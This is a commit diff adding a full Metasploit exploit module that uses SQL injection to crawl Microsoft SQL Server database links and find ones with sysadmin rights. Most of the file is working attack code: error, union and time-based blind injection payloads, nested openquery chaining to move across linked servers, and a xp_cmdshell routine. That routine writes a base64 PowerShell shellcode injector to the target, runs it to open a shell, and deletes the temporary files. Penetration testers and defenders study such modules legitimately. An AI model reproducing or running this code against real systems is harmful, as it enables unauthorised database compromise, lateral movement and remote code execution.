msftidy updates
parent
8bb95e9f17
commit
9158497fb4
|
@ -0,0 +1,568 @@
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/exploit/mssql_commands'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = GreatRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::MSSQL_SQLI
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
include Msf::Exploit::CmdStagerVBS
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Microsoft SQL Server - Database Link Crawler',
|
||||||
|
'Description' => %q{
|
||||||
|
When provided with a valid SQLi URL, this module will crawl SQL Server database links and identify MSSQL links configured with sysadmin privileges.
|
||||||
|
|
||||||
|
Syntax for injection URLs:
|
||||||
|
|
||||||
|
Error: /account.asp?id=1+and+1=[SQLi];--
|
||||||
|
|
||||||
|
Union: /account.asp?id=1+union+all+select+null,[SQLi],null;--
|
||||||
|
Union works most reliably if "id=1" does not return any data, i.e. use "id=12345678"
|
||||||
|
|
||||||
|
Blind: /account.asp?id=1;[SQLi];--
|
||||||
|
|
||||||
|
The payload deployment works currently only on systems that have powershell. Powershell deployment code based on Matthew Graeber's research.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Antti Rantasaari <antti.rantasaari@netspi.com>',
|
||||||
|
'Scott Sutherland "nullbind" <scott.sutherland@netspi.com>'
|
||||||
|
],
|
||||||
|
'Platform' => [ 'Windows' ],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' => [[ 'URL', 'http://www.netspi.com/' ],['URL','http://msdn.microsoft.com/en-us/library/ms188279.aspx'],
|
||||||
|
['URL','http://www.exploit-monday.com/2011_10_16_archive.html']],
|
||||||
|
'Version' => '$Revision: 1 $',
|
||||||
|
'DisclosureDate' => 'Jan 1 2000',
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Automatic', { } ],
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptBool.new('VERBOSE', [false, 'Set how verbose the output should be', 'false']),
|
||||||
|
OptString.new('TYPE', [ true, 'SQLi type (ERROR,UNION, or BLIND)', 'ERROR']),
|
||||||
|
OptString.new('CHARSET', [true, 'Charset used for blind injections', 'default']),
|
||||||
|
OptString.new('DELAY', [true, 'Time delay for blind injections - 1-5 seconds', '1']),
|
||||||
|
OptBool.new('DEPLOY', [true, 'Deploy a payload on target systems', 'true']),
|
||||||
|
OptString.new('DEPLOYLIST', [false,'Comma seperated list of systems to deploy payload to (blank = all)'])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
masterList = Array.new
|
||||||
|
masterList[0] = Hash.new # Define new hash
|
||||||
|
masterList[0]["name"] = "" # Name of the current database server
|
||||||
|
masterList[0]["path"] = [[]] # Link path used during crawl - all possible link paths stored
|
||||||
|
masterList[0]["done"] = 0 # Used to determine if linked need to be crawled
|
||||||
|
shelled = Array.new # keeping track of shelled systems to prevent multiple incoming sa links resulting in multiple shells on one system
|
||||||
|
|
||||||
|
# Create table to store configuration information from crawled database server links
|
||||||
|
linked_server_table = Rex::Ui::Text::Table.new(
|
||||||
|
'Header' => 'Linked Server Table',
|
||||||
|
'Ident' => 1,
|
||||||
|
'Columns' => ['db_server', 'link_path','link_priv','link_status']
|
||||||
|
)
|
||||||
|
save_loot = ""
|
||||||
|
|
||||||
|
type = datastore['type'].to_s.downcase
|
||||||
|
|
||||||
|
print_status("----------------------------------------------------")
|
||||||
|
print_status("Start time : #{Time.now}")
|
||||||
|
print_status("----------------------------------------------------")
|
||||||
|
print_status("Enumerating name of database server entry point")
|
||||||
|
print_status("----------------------------------------------------")
|
||||||
|
|
||||||
|
########################################
|
||||||
|
# Going through each identified database
|
||||||
|
########################################
|
||||||
|
while masterList.any? {|f| f["done"] == 0}
|
||||||
|
server = masterList.detect {|f| f["done"] == 0}
|
||||||
|
if type=="error" or type=="union"
|
||||||
|
execute = "(select @@servername as int)"
|
||||||
|
sql = query_builder(server["path"].first,"",0,execute)
|
||||||
|
res = mssql_query(sql)
|
||||||
|
unless res == nil
|
||||||
|
name = res.body.scan(/startmsf(.*)endmsf/imu).flatten.first
|
||||||
|
else
|
||||||
|
name = nil
|
||||||
|
end
|
||||||
|
elsif type=="blind"
|
||||||
|
column = "@@servername"
|
||||||
|
name = blind_injection(server["path"].first,'name',column)
|
||||||
|
end
|
||||||
|
|
||||||
|
##################################################
|
||||||
|
# Printing statuses
|
||||||
|
# Calling mssql_permission_checker for good servers (not broken links)
|
||||||
|
##################################################
|
||||||
|
unless server["path"].first.first == nil
|
||||||
|
print("\n") if datastore['VERBOSE'] == true
|
||||||
|
print_status("----------------------------------------------------")
|
||||||
|
print_status("Enumerating server information #{masterList[0]["name"]} -> #{server["path"].first.join(" -> ")}")
|
||||||
|
print_status("----------------------------------------------------")
|
||||||
|
end
|
||||||
|
unless name == nil
|
||||||
|
server["name"] = name
|
||||||
|
print_status("Server information")
|
||||||
|
print_status(" o Server name: #{name}")
|
||||||
|
if server["path"].first.first != nil
|
||||||
|
print_status(" o Path: #{masterList[0]["name"]} -> #{server["path"].first.join(" -> ")}")
|
||||||
|
else
|
||||||
|
print_status(" o Path: NA")
|
||||||
|
end
|
||||||
|
privstatus = mssql_permission_checker(server,masterList,name,type,shelled)
|
||||||
|
badlink = 0
|
||||||
|
else
|
||||||
|
print_error("Server information - bad link")
|
||||||
|
print_status(" o Server name: #{server["path"].first.last}")
|
||||||
|
print_status(" o Path: #{masterList[0]["name"]} -> #{server["path"].first.join(" -> ")}")
|
||||||
|
print_status(" o Privileges: NA")
|
||||||
|
badlink = 1
|
||||||
|
end
|
||||||
|
|
||||||
|
# Write Report and Display output to the screen
|
||||||
|
save_loot = "yes"
|
||||||
|
write_to_report(server["name"],server["path"],masterList[0]["name"],privstatus,badlink,linked_server_table)
|
||||||
|
|
||||||
|
# Get number of good links on the server
|
||||||
|
count = nil
|
||||||
|
if type=="error" or type == "union" and name != nil
|
||||||
|
execute = "(select cast(count(srvname) as varchar) from master..sysservers where srvname != @@servername and dataaccess = 1 and srvproduct = 'SQL Server')"
|
||||||
|
sql = query_builder(server["path"].first,"",0,execute)
|
||||||
|
res = mssql_query(sql)
|
||||||
|
count = res.body.scan(/startmsf(.*)endmsf/imu).flatten.first
|
||||||
|
elsif type=="blind" and name !=nil
|
||||||
|
column = "srvname"
|
||||||
|
if server["name"] != nil
|
||||||
|
count = blind_injection(server["path"].first,'linkcount',column)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
###########################
|
||||||
|
# Crawling database links #
|
||||||
|
###########################
|
||||||
|
if count != nil and count != 0
|
||||||
|
print_status("")
|
||||||
|
print_status("Crawling linked servers on #{server["name"]}...")
|
||||||
|
print_status("Links found: #{count}")
|
||||||
|
(1..Integer(count)).each do |i|
|
||||||
|
name = nil
|
||||||
|
if type=="error" or type == "union"
|
||||||
|
execute = "select top 1 srvname from master..sysservers where srvname in (select top " + i.to_s + \
|
||||||
|
" srvname from master..sysservers where srvname != @@servername and dataaccess = 1 \
|
||||||
|
and srvproduct = 'SQL Server' order by srvname asc) order by srvname desc"
|
||||||
|
sql = query_builder(server["path"].first,"",0,execute)
|
||||||
|
res = mssql_query(sql)
|
||||||
|
name = res.body.scan(/startmsf(.*)endmsf/imu).flatten.first
|
||||||
|
elsif type=="blind"
|
||||||
|
column = "srvname"
|
||||||
|
name = blind_injection(server["path"].first,'name',column,i.to_s)
|
||||||
|
end
|
||||||
|
print_status("Found a link to #{name}")
|
||||||
|
|
||||||
|
if name != nil
|
||||||
|
unless masterList.any? {|f| f["name"] == name}
|
||||||
|
masterList << add_host(name,server["path"].first)
|
||||||
|
else
|
||||||
|
(0..masterList.length-1).each do |x|
|
||||||
|
if masterList[x]["name"] == name
|
||||||
|
masterList[x]["path"] << server["path"].first.dup
|
||||||
|
masterList[x]["path"].last << name
|
||||||
|
print_status("Alternative path to #{name}: #{masterList.first["name"]} -> #{server["path"].first.join(" -> ")} -> #{name}")
|
||||||
|
privstatus = mssql_permission_checker(server,masterList,name,type,shelled)
|
||||||
|
else
|
||||||
|
break
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
server["done"] = 1
|
||||||
|
end
|
||||||
|
print_status("----------------------------------------------------")
|
||||||
|
print_status("End time : #{Time.now}")
|
||||||
|
print_status("----------------------------------------------------")
|
||||||
|
|
||||||
|
# Setup table for loot
|
||||||
|
this_service = nil
|
||||||
|
if framework.db and framework.db.active
|
||||||
|
this_service = report_service(
|
||||||
|
:host => rhost,
|
||||||
|
:port => rport,
|
||||||
|
:name => 'mssql',
|
||||||
|
:proto => 'tcp'
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Write log to loot / file
|
||||||
|
if (save_loot=="yes")
|
||||||
|
filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_linked_servers.csv"
|
||||||
|
path = store_loot("crawled_links", "text/plain", datastore['RHOST'], linked_server_table.to_csv, filename, "Linked servers",this_service)
|
||||||
|
print_status("Results have been saved to: #{path}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
#-------------------------------------------------------------------------------------
|
||||||
|
# Method to check if xp_cmdshell accessible - if so, calls payload delivery method
|
||||||
|
#-------------------------------------------------------------------------------------
|
||||||
|
def mssql_permission_checker(server,masterList,name,type,shelled)
|
||||||
|
temppath = Array.new
|
||||||
|
server["path"].first.each {|j| temppath << j}
|
||||||
|
|
||||||
|
unless temppath.last == name or server["path"].first.first == nil
|
||||||
|
temppath << name
|
||||||
|
end
|
||||||
|
|
||||||
|
# Checking if sysadmin privileges on the server
|
||||||
|
sysadmin = "0"
|
||||||
|
if type == "error" or type == "union"
|
||||||
|
execute = "(select cast(is_srvrolemember('sysadmin') as varchar))"
|
||||||
|
sql = query_builder(temppath,"",0,execute)
|
||||||
|
res = mssql_query(sql)
|
||||||
|
sysadmin = res.body.scan(/startmsf(.*)endmsf/imu).flatten.first
|
||||||
|
elsif type == "blind"
|
||||||
|
column = "sysadmin"
|
||||||
|
sysadmin = blind_injection(temppath,"enabled",column)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Checking if xp_cmdshell enabled
|
||||||
|
if sysadmin == "1"
|
||||||
|
print_status(" o Privileges: sysadmin")
|
||||||
|
xpcmdshell = "0"
|
||||||
|
if type == "error" or type == "union"
|
||||||
|
execute = "(select cast(value_in_use as varchar) FROM sys.configurations WHERE name = 'xp_cmdshell')"
|
||||||
|
sql = query_builder(temppath,"",0,execute)
|
||||||
|
res = mssql_query(sql)
|
||||||
|
xpcmdshell = res.body.scan(/startmsf(.*)endmsf/imu).flatten.first
|
||||||
|
elsif type == "blind"
|
||||||
|
column = "xpcmdshell"
|
||||||
|
xpcmdshell = blind_injection(temppath,"enabled",column)
|
||||||
|
end
|
||||||
|
if xpcmdshell == "1"
|
||||||
|
if temppath[0] == nil
|
||||||
|
print_good(" o Xp_cmdshell enabled on #{masterList.first["name"]}")
|
||||||
|
else
|
||||||
|
print_good(" o Xp_cmdshell enabled on #{masterList.first["name"]} -> #{temppath.join(" -> ")}")
|
||||||
|
end
|
||||||
|
if type == "error" or type == "union" and temppath.first == nil
|
||||||
|
print_status("Attempting to deliver payload on first server #{name}")
|
||||||
|
print_status("This may fail depending on the injection point [SQLi] location")
|
||||||
|
print_status("If no shell, try mssql_payload_sqli module")
|
||||||
|
end
|
||||||
|
# Deploying a payload if no shells on system and DEPLOY = true
|
||||||
|
unless shelled.include?(name)
|
||||||
|
#Deploy to specific target if specified
|
||||||
|
if datastore['DEPLOYLIST']==""
|
||||||
|
datastore['DEPLOYLIST'] = nil
|
||||||
|
end
|
||||||
|
if datastore['DEPLOYLIST'] != nil and datastore["VERBOSE"] == true
|
||||||
|
print_status("\t - Checking if #{name} is on the deploy list...")
|
||||||
|
end
|
||||||
|
if datastore['DEPLOYLIST'] != nil
|
||||||
|
deploylist = datastore['DEPLOYLIST'].upcase.split(',')
|
||||||
|
end
|
||||||
|
if datastore['DEPLOYLIST'] == nil or deploylist.include? name.upcase
|
||||||
|
if datastore['DEPLOYLIST'] != nil and datastore["VERBOSE"] == true
|
||||||
|
print_status("\t - #{name} is on the deploy list.")
|
||||||
|
end
|
||||||
|
if datastore['DEPLOY']
|
||||||
|
powershell_upload_exec(temppath)
|
||||||
|
end
|
||||||
|
shelled << name
|
||||||
|
return 1
|
||||||
|
else
|
||||||
|
print_status("\t - #{name} is NOT on the deploy list, moving on.") and datastore["VERBOSE"] == true
|
||||||
|
return 1
|
||||||
|
end
|
||||||
|
else
|
||||||
|
if datastore['DEPLOY']
|
||||||
|
print_status("Payload already deployed on #{name}")
|
||||||
|
return 1
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
else
|
||||||
|
print_status(" o Privileges: user")
|
||||||
|
return 0
|
||||||
|
end
|
||||||
|
end
|
||||||
|
#-------------------------------------------------------------------------------------
|
||||||
|
# Method for blind SQL injections
|
||||||
|
# Will fail if targeted server very slow - mssql_query function times out at 5 seconds
|
||||||
|
#-------------------------------------------------------------------------------------
|
||||||
|
def blind_injection(path,command,column,topcount=false)
|
||||||
|
delay = datastore['DELAY']
|
||||||
|
if delay.to_i<1 or delay.to_i>5
|
||||||
|
delay = 1
|
||||||
|
end
|
||||||
|
if command=="name"
|
||||||
|
length = 0
|
||||||
|
spot = 1
|
||||||
|
name = ""
|
||||||
|
# checking if link works - if good, returns link name; if bad, returns nil
|
||||||
|
unless path.last == nil or column == "srvname"
|
||||||
|
execute = "select 1; if(select len((#{column})))>0 begin waitfor delay '0:0:#{delay}' end"
|
||||||
|
sql = query_builder(path,"",0,execute,true)
|
||||||
|
starttime = Time.now
|
||||||
|
mssql_query(sql)
|
||||||
|
if Time.now - starttime > delay.to_i
|
||||||
|
return path.last
|
||||||
|
else
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
# get the length of @@servername or linked server srvname
|
||||||
|
print(" Extracting #{column} value length: ") if datastore['VERBOSE'] == true
|
||||||
|
(1..100).each do |i|
|
||||||
|
if column == "@@servername"
|
||||||
|
execute = "select 1; if(select len((#{column})))=#{i.to_s} begin waitfor delay '0:0:#{delay}' end"
|
||||||
|
end
|
||||||
|
if column == "srvname"
|
||||||
|
execute = "select 1; if(select top 1 len(srvname) from master..sysservers where srvname in \
|
||||||
|
(select top #{topcount} srvname from master..sysservers where srvname != @@servername and \
|
||||||
|
dataaccess = 1 and srvproduct = 'SQL Server' order by srvname asc) order by srvname desc)='#{i.to_s}' \
|
||||||
|
begin waitfor delay '0:0:#{delay}' end"
|
||||||
|
end
|
||||||
|
sql = query_builder(path,"",0,execute,true)
|
||||||
|
starttime = Time.now
|
||||||
|
mssql_query(sql)
|
||||||
|
if Time.now - starttime > delay.to_i
|
||||||
|
print("#{i}\n") if datastore['VERBOSE'] == true
|
||||||
|
length = i
|
||||||
|
break
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if length == 100
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
# enumerate servername or linked server servername one character at a time
|
||||||
|
if datastore['CHARSET'] == 'default'
|
||||||
|
charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789.\\/-_#!?*@$%&()"
|
||||||
|
elsif
|
||||||
|
charset = datastore['CHARSET']
|
||||||
|
end
|
||||||
|
|
||||||
|
spot = 1
|
||||||
|
print(" Extracting #{column} value: ") if datastore['VERBOSE'] == true
|
||||||
|
|
||||||
|
while spot <= length
|
||||||
|
charset.each_char do |i|
|
||||||
|
if column == "@@servername"
|
||||||
|
execute = "select 1; if(select substring(#{column},#{spot},1))='#{i}' begin waitfor delay '0:0:#{delay}' end"
|
||||||
|
end
|
||||||
|
if column == "srvname"
|
||||||
|
execute = "select 1; if(select top 1 substring(srvname,#{spot},1) from master..sysservers \
|
||||||
|
where srvname in (select top #{topcount} srvname from master..sysservers where srvname \
|
||||||
|
!= @@servername and dataaccess = 1 and srvproduct = 'SQL Server' order by srvname asc) \
|
||||||
|
order by srvname desc)='#{i}' begin waitfor delay '0:0:#{delay}' end"
|
||||||
|
end
|
||||||
|
sql = query_builder(path,"",0,execute,true)
|
||||||
|
starttime = Time.now
|
||||||
|
mssql_query(sql)
|
||||||
|
if Time.now - starttime > delay.to_i
|
||||||
|
spot = spot+1
|
||||||
|
name = name + i
|
||||||
|
print("#{i}") if datastore['VERBOSE'] == true
|
||||||
|
break
|
||||||
|
end
|
||||||
|
if i == charset[-1]
|
||||||
|
print("\n") if datastore['VERBOSE'] == true
|
||||||
|
print_error("Failed to enumerated server name")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
print("\n") if datastore['VERBOSE'] == true
|
||||||
|
return name
|
||||||
|
|
||||||
|
# check how many linked servers on database server
|
||||||
|
elsif command=="linkcount"
|
||||||
|
(0..100).each do |i|
|
||||||
|
execute = "select 1; if(select count(srvname) from master..sysservers where srvname != @@servername and dataaccess = 1 \
|
||||||
|
and srvproduct = 'SQL Server')=#{i} begin waitfor delay '0:0:#{delay}' end"
|
||||||
|
sql = query_builder(path,"",0,execute,true)
|
||||||
|
starttime = Time.now
|
||||||
|
mssql_query(sql)
|
||||||
|
if Time.now - starttime > delay.to_i
|
||||||
|
return i
|
||||||
|
end
|
||||||
|
end
|
||||||
|
return nil
|
||||||
|
|
||||||
|
# check is sysadmin or xp_cmdshell enabled
|
||||||
|
elsif command=="enabled"
|
||||||
|
if column == "sysadmin"
|
||||||
|
execute = "select 1; if(select is_srvrolemember('sysadmin'))=1 begin waitfor delay '0:0:#{delay}' end"
|
||||||
|
end
|
||||||
|
if column == "xpcmdshell"
|
||||||
|
execute = "select 1; if(select cast(value_in_use as varchar) FROM sys.configurations WHERE name = 'xp_cmdshell')='1' \
|
||||||
|
begin waitfor delay '0:0:#{delay}' end"
|
||||||
|
end
|
||||||
|
sql = query_builder(path,"",0,execute,true)
|
||||||
|
starttime = Time.now
|
||||||
|
mssql_query(sql)
|
||||||
|
if Time.now - starttime > delay.to_i
|
||||||
|
return "1"
|
||||||
|
end
|
||||||
|
return "0"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
#-------------------------------------------------------------------------------------
|
||||||
|
# Method that builds nested openquery statements using during crawling
|
||||||
|
#-------------------------------------------------------------------------------------
|
||||||
|
def query_builder(path,sql,ticks,execute,nowrap=false)
|
||||||
|
# Temp used to maintain the original masterList[x]["path"]
|
||||||
|
temp = Array.new
|
||||||
|
path.each {|i| temp << i}
|
||||||
|
# actual query - defined when the function originally called - ticks multiplied
|
||||||
|
if path.length == 0
|
||||||
|
if ticks == 0 and nowrap == false and datastore['TYPE'].to_s.downcase == "error"
|
||||||
|
execute = "(select cast('startmsf'+(" + execute + ")+'endmsf' as int))"
|
||||||
|
elsif ticks == 0 and nowrap == false and datastore['TYPE'].to_s.downcase == "union"
|
||||||
|
execute = "(select 'startmsf'+(" + execute + ")+'endmsf')"
|
||||||
|
end
|
||||||
|
return execute.gsub("'","'"*2**ticks)
|
||||||
|
# openquery generator
|
||||||
|
else
|
||||||
|
sql = "(select * from openquery(\"" + temp.shift + "\"," + "'"*2**ticks + query_builder(temp,sql,ticks+1,execute) + "'"*2**ticks + "))"
|
||||||
|
if ticks == 0 and nowrap == false and datastore['TYPE'].to_s.downcase == "error"
|
||||||
|
sql = "(select cast('startmsf'+(" + sql + ")+'endmsf' as int))"
|
||||||
|
elsif ticks == 0 and nowrap == false and datastore['TYPE'].to_s.downcase == "union"
|
||||||
|
sql = "(select 'startmsf'+(" + sql + ")+'endmsf')"
|
||||||
|
end
|
||||||
|
return sql
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
#-------------------------------------------------------------------------------------
|
||||||
|
# Method for adding new linked database servers to the crawl list
|
||||||
|
#-------------------------------------------------------------------------------------
|
||||||
|
def add_host(name,path)
|
||||||
|
# Used to add new servers to masterList
|
||||||
|
server = Hash.new
|
||||||
|
server["name"] = name # Name of the current database server
|
||||||
|
temppath = Array.new
|
||||||
|
path.each {|i| temppath << i }
|
||||||
|
server["path"] = [temppath]
|
||||||
|
server["path"].first << name
|
||||||
|
server["done"] = 0
|
||||||
|
return server
|
||||||
|
end
|
||||||
|
|
||||||
|
#-------------------------------------------------------------------------------------
|
||||||
|
# Method for generating the report
|
||||||
|
#-------------------------------------------------------------------------------------
|
||||||
|
def write_to_report(server_name,server_path,master_name,privstatus,badlink,linked_server_table)
|
||||||
|
# Set server name
|
||||||
|
report_server = server_name
|
||||||
|
# Set path
|
||||||
|
if server_path.first.first == nil #can be used to determine if entry point
|
||||||
|
report_path = "NA"
|
||||||
|
frontlabel = ""
|
||||||
|
else
|
||||||
|
report_path = "#{master_name} -> #{server_path.first.join(" -> ")}"
|
||||||
|
frontlabel = "Link "
|
||||||
|
end
|
||||||
|
# Set privilege level language
|
||||||
|
if privstatus == 0 then
|
||||||
|
report_priv = "USER"
|
||||||
|
else
|
||||||
|
report_priv = "SYSADMIN!"
|
||||||
|
end
|
||||||
|
# Set bad link language
|
||||||
|
if badlink == 1 then
|
||||||
|
report_status = "DOWN"
|
||||||
|
report_priv = "NA"
|
||||||
|
else
|
||||||
|
report_status = "UP"
|
||||||
|
end
|
||||||
|
# Add report entry
|
||||||
|
linked_server_table << [report_server,report_path,report_priv,report_status]
|
||||||
|
return linked_server_table
|
||||||
|
end
|
||||||
|
|
||||||
|
#-------------------------------------------------------------------------------------
|
||||||
|
# Method that delivers shellcode payload via powershell thread injection
|
||||||
|
# Leaves a powershell process running on the target system
|
||||||
|
# Code based on http://www.exploit-monday.com/2011_10_16_archive.html
|
||||||
|
#-------------------------------------------------------------------------------------
|
||||||
|
def powershell_upload_exec(path)
|
||||||
|
|
||||||
|
print_status("Deploying a payload")
|
||||||
|
# Create powershell script that will inject our shell code
|
||||||
|
# Note: Must start multi/handler and set DisablePayloadHandler if expecting multiple shells
|
||||||
|
myscript ="$code = @\"
|
||||||
|
[DllImport(\"kernel32.dll\")]
|
||||||
|
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
|
||||||
|
[DllImport(\"kernel32.dll\")]
|
||||||
|
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
|
||||||
|
[DllImport(\"msvcrt.dll\")]
|
||||||
|
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
|
||||||
|
\"@
|
||||||
|
$winFunc = Add-Type -memberDefinition $code -Name \"Win32\" -namespace Win32Functions -passthru
|
||||||
|
[Byte[]]$sc =#{Rex::Text.to_hex(payload.encoded).gsub('\\',',0').sub(',','')}
|
||||||
|
$size = 0x1000
|
||||||
|
if ($sc.Length -gt 0x1000) {$size = $sc.Length}
|
||||||
|
$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)
|
||||||
|
for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)}
|
||||||
|
$winFunc::CreateThread(0,0,$x,0,0,0)"
|
||||||
|
|
||||||
|
# Unicode encode powershell script
|
||||||
|
mytext_uni = Rex::Text.to_unicode(myscript)
|
||||||
|
|
||||||
|
# Base64 encode unicode
|
||||||
|
mytext_64 = Rex::Text.encode_base64(mytext_uni)
|
||||||
|
|
||||||
|
# Generate random file name
|
||||||
|
rand_filename = rand_text_alpha(8)
|
||||||
|
var_duplicates = rand_text_alpha(8)
|
||||||
|
|
||||||
|
# Write base64 encode powershell payload to temp file
|
||||||
|
# This is written 2500 characters at a time due to xp_cmdshell ruby function limitations
|
||||||
|
# Adding line number tracking to remove line duplication from nested link write commands
|
||||||
|
linenum = 0
|
||||||
|
mytext_64.scan(/.{1,2500}/).each {|part|
|
||||||
|
execute = "(select 1); EXEC master..xp_cmdshell 'powershell -C \"Write \"--#{linenum}--#{part}\" >> %TEMP%\\#{rand_filename}\"'"
|
||||||
|
sql = query_builder(path,"",0,execute,true)
|
||||||
|
result = mssql_query(sql, false)
|
||||||
|
linenum = linenum+1
|
||||||
|
}
|
||||||
|
|
||||||
|
# Remove duplicate lines from temp file and write to new file
|
||||||
|
execute = "(select 1);exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{rand_filename}| get-unique > %TEMP%\\#{var_duplicates}\"'"
|
||||||
|
sql = query_builder(path,"",0,execute,true)
|
||||||
|
result = mssql_query(sql, false)
|
||||||
|
|
||||||
|
execute = "(select 1);exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{var_duplicates} | Foreach-Object {$_ -replace \\\"--.*--\\\",\\\"\\\"} | Set-Content %TEMP%\\#{rand_filename}\"'"
|
||||||
|
sql = query_builder(path,"",0,execute,true)
|
||||||
|
result = mssql_query(sql, false)
|
||||||
|
|
||||||
|
# Generate base64 encoded powershell command we can use noexit and avoid parsing errors
|
||||||
|
# If running on 64bit system, 32bit powershell called from syswow64 - path to Powershell on 64bit systems hardcoded
|
||||||
|
powershell_cmd = "$temppath=(gci env:temp).value;$dacode=(gc $temppath\\#{rand_filename}) \
|
||||||
|
-join '';if((gci env:processor_identifier).value -like '*64*'){$psbits=\"C:\\windows\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe \
|
||||||
|
-noexit -noprofile -encodedCommand $dacode\"} else {$psbits=\"powershell.exe -noexit -noprofile -encodedCommand $dacode\"};iex $psbits"
|
||||||
|
powershell_uni = Rex::Text.to_unicode(powershell_cmd)
|
||||||
|
powershell_base64 = Rex::Text.encode_base64(powershell_uni)
|
||||||
|
|
||||||
|
## Setup and execute shellcode with powershell via xp_cmdshell
|
||||||
|
print_status("Executing the payload")
|
||||||
|
execute = "(select 1); EXEC master..xp_cmdshell 'powershell -EncodedCommand #{powershell_base64}'"
|
||||||
|
sql = query_builder(path,"",0,execute,true)
|
||||||
|
result = mssql_query(sql, false)
|
||||||
|
|
||||||
|
# Remove payload data from the target server
|
||||||
|
execute = "(select 1); EXEC master..xp_cmdshell 'powershell -C \"Remove-Item %TEMP%\\#{rand_filename}\";powershell -C \"Remove-Item %TEMP%\\#{var_duplicates}\"'"
|
||||||
|
sql = query_builder(path,"",0,execute,true)
|
||||||
|
result = mssql_query(sql,false)
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue